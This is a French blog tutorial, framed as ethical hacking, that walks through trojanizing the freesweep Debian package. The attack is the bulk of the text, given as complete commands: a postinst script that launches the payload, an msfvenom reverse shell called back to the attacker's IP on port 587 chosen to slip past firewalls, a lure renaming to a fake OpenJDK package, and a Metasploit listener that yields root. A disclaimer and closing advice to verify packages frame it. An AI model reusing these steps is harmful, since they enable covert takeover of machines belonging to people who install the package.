Corrompre un fichier .deb, pour prendre le controle d’un serveur Linux (Debian/Ubuntu)

Publié par Geoffrey Sauvageot-Berland le

Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel a pour unique but de vous enseigner à vous protéger contre les “black-hat” (Hackers mal intentionnés) et ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.

Bonjour à tous, cet article vous présente un didacticiel d’ethical hacking, qui a pour but de vous montrer comment il est possible de détourner l’utilisation « classique » d’un logiciel stocké sous le format .deb, afin de s’infiltrer dans un système Linux (Debian/Ubuntu). Même si je recommande d’utiliser les dépôts officiels apt pour installer vos programmes, il est souvent nécessaire de télécharger un fichier DEB pour installer un logiciel non présent sur un dépôt officiel.

Pour cela, nous allons avoir besoin de deux machines pour réaliser le test :

  • Kalilinux 2021.1 : 192.168.130.128/24 avec un serveur web actif, pour y déposer notre fichier .deb corrompu
  • Ubuntu 20.04 LTS : 192.168.130.129/24

Tout au long du tutoriel les commandes seront éxéuctées via l’utilisateur root, ou un utilisateur disposant de privilège super utilisateur (sudo)

Préparation de notre payload à l’aide du logiciel freesweep

Pour débuter, nous allons récupérer uniquement le fichier .deb du paquet freesweep (l’équivalent du jeu démineur sur Windows…)

apt-get --download-only install freesweep

Dès lors, nous allons créer un répertoire « provisoire » dans /tmp, qui va nous permettre de stocker ce dont nous avons besoin pour la suite. Il est tout de même important de noter, que nous pouvons utiliser un autre logiciel que freesweep pour réaliser ce tutoriel, mais il faudrait le cas échéant modifier légèrement certains chemins / fichiers dans les étapes suivantes.

mkdir /tmp/evil
mv /var/cache/apt/archives/freesweep_1.0.1-2_amd64.deb /tmp/evil

Nous allons ensuite reconfigurer le fichier .deb, afin d’y introduire un bou de code malveillant (le payload). Pour cela nous allons exécuter la série de commandes suivantes :

Dirigez-vous dans le dossier, et entrez les commandes suivantes :

cd /tmp/evil/
dpkg -x freesweep_1.0.1-2_amd64.deb work
mkdir work/DEBIAN
cd work/DEBIAN/                                                                 
nano control 

Ci-dessous, voici le contenu du fichier. Vous pouvez modifier celui-ci à votre guise.

Package: freesweep
Version: 0.90-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers ([email protected])
Description: a text-based minesweeper
 Freesweep is an implementation of the popular minesweeper game, where
 one tries to find all the mines without igniting any, based on hints given
 by the computer. Unlike most implementations of this game, Freesweep
 works in any visual text display - in Linux console, in an xterm, and in
 most text-based terminals currently in use.
Récapitulatif des étapes éffécutés ci-dessus

Puis, dans le même dossier, nous allons créer un fichier postinst en ajoutant le contenu ci-dessous :

nano postinst

Contenu du fichier :

#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &

Non, il n’y a pas d’erreur, c’est bien chmod 2755, pour plus d’informations concernant cette commande « dérivée » de l’emblématique chmod 755, je vous invite à consulter le lien suivant :

https://unix.stackexchange.com/questions/52707/difference-between-chmod-775-and-chmod-2755

Nous allons maintenant créer notre payload nommé « freesweep_scores » (nom du logiciel « saint » installé), en utilisant le principe d’un « reverse shell ». Peut-être que cette notion est encore un peu floue pour vous alors je vais essayer de l’éclaircir :

Reverse shell vs Bind Shell

L’intérêt du « reverse-shell »? Plus besoin de se soucier des IPs des machines distantes à contrôler puisque ce sont elles qui se connectent à l’utilisateur. De plus, comme la connexion est sortante à partir de la machine à contrôler, les pare-feux/routeurs bloquent rarement ce type de flux.

À contrario, nous avons le « bind shell » qui est utile lorsque l’attaquant a un accès direct à l’adresse IP de l’hôte distant. (ex l’attaquant et l’hôte distant sont soit sur le même sous-réseau IP, soit sur des sous-réseaux qui sont directement routés l’un vers l’autre)

Reprenons. Nous allons maintenant créer notre payload à l’aide de la commande suivante :

msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.130.128 LPORT=587 -b "\x00" -f elf -o /tmp/evil/work/usr/games/freesweep_scores

(LHOST : machine attaquante kali linux)

(LPORT : port source de la machine attaquante)

Le choix du port 587 n’est pas anodin. Je m’explique : ce dernier fait partie des « well know port », et représente à l’origine le port associé au service SMTP(s)*. Ce service est dans la majorité des cas autorisés par les pare-feu d’entreprise, puisque c’est grâce à celui-ci que nous pouvons envoyer des mails. L’attaque a plus de chances d’aboutir en utilisant un port « commun » que sur un port choisi au hasard qui pourrait être bloqué par un firewall.

*Petit rappel : Simple Mail Transfert Protocol (Secured)

Nous allons rendre notre script post-installation exécutable et créer notre nouveau package à partir des informations écrite dans les fichiers control et postinst . Le fichier s’appellera temporairement work.deb. Nous allons changer son nom et le remplacer par open-jdk-16.1.10-java.deb qui est un nom plus « aguicheur », pour quelqu’un qui souhaiterai installer java sur sa machine.

chmod 755 postinst
dpkg-deb --build /tmp/evil/work
cd ../../
mv work.deb open-jdk-16.1.10-java.deb
cp open-jdk-16.1.10-java.deb /var/www/html

Ouvrez un autre terminal depuis votre machine Kali linux, et tapez la commande suivante afin de configurer un listener (en attendant la connexion d’une victime) par le biais de exploit/multi/handler.

Analogie Listener : cane à pêche (listerner) et le poisson (la victime)

msfconsole -q -x "use exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; set LHOST 192.168.130.128; set LPORT 587; run; exit -y"

C’est fait ! Notre listener est maintenant en place, celui-ci est aux aguets. Il attend qu’une machine victime « tombe dans le panneau » en installant le faux paquet open-jdk-16.1.10-java.deb.

Tests depuis la machine victime

Exécutez la commande ci-dessous, pour récupérer le fichier .deb corrompu depuis votre serveur web (kali linux)

wget http://192.168.130.128/open-jdk-16.1.10-java.deb

Installez le faux paquet .deb

sudo dpkg -i open-jdk-16.1.10-java.deb

Dès lors, retournez sur votre machine Kali linux et vous verrez (normalement) la connexion de la machine victime à votre hôte kali Linux.

Vous obtenez alors un contrôle total de la machine, avec biensur un accès root.

Ne soyez pas dupe ! Avant d’installer un fichier .deb sur votre machine, je vous conseille d’abord de vérifier l’authenticiter / intégrité de celui-ci, ainsi que la fiabilité du site qui vous donne accès à son téléchargement.

++

Geoffrey pour Le guide du sysops


En savoir plus sur Le Guide Du SecOps

Subscribe to get the latest posts sent to your email.


Geoffrey Sauvageot-Berland

Ingénieur diplômé par l’état en Informatique et Cybersécurité. Généraliste, à l'origine administrateur systèmes et réseaux, j’occupe actuellement un poste d’auditeur en sécurité offensive. J’apprécie également la programmation/automatisation. Fondateur du blog : "Le Guide du SecOps", anciennement "Le Guide du SysOps"

En savoir plus sur Le Guide Du SecOps

Abonnez-vous pour poursuivre la lecture et avoir accès à l’ensemble des archives.

Continue reading